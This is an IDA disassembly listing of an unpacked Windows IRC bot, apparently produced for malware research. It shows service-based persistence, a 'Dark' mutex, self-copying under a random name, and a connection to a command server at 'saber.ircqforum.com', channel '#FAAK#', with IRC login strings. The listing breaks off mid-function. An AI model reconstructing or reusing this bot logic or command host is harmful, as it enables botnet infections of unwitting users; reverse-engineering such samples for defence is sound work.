;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E2228130536735C91EF1314B5ECD4ED1

; File Name   :	u:\work\e2228130536735c91ef1314b5ecd4ed1_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680B81h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2670C98h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		push	eax
		nop
		call	near ptr 2690F46h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2680B81h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2690E1Dh
		nop
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2690CDEh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2690B92h

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2690800h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2690B92h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26907E2h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2690325h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2670C98h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2690000h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 2690F46h
		nop
		push	esi
		nop
		call	near ptr 2670999h
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 2690000h
		nop
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		nop
		call	near ptr 2690247h

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2690800h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		call	near ptr 2690800h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2690000h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2690000h
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		call	near ptr 2690000h
		nop

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 2690000h
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
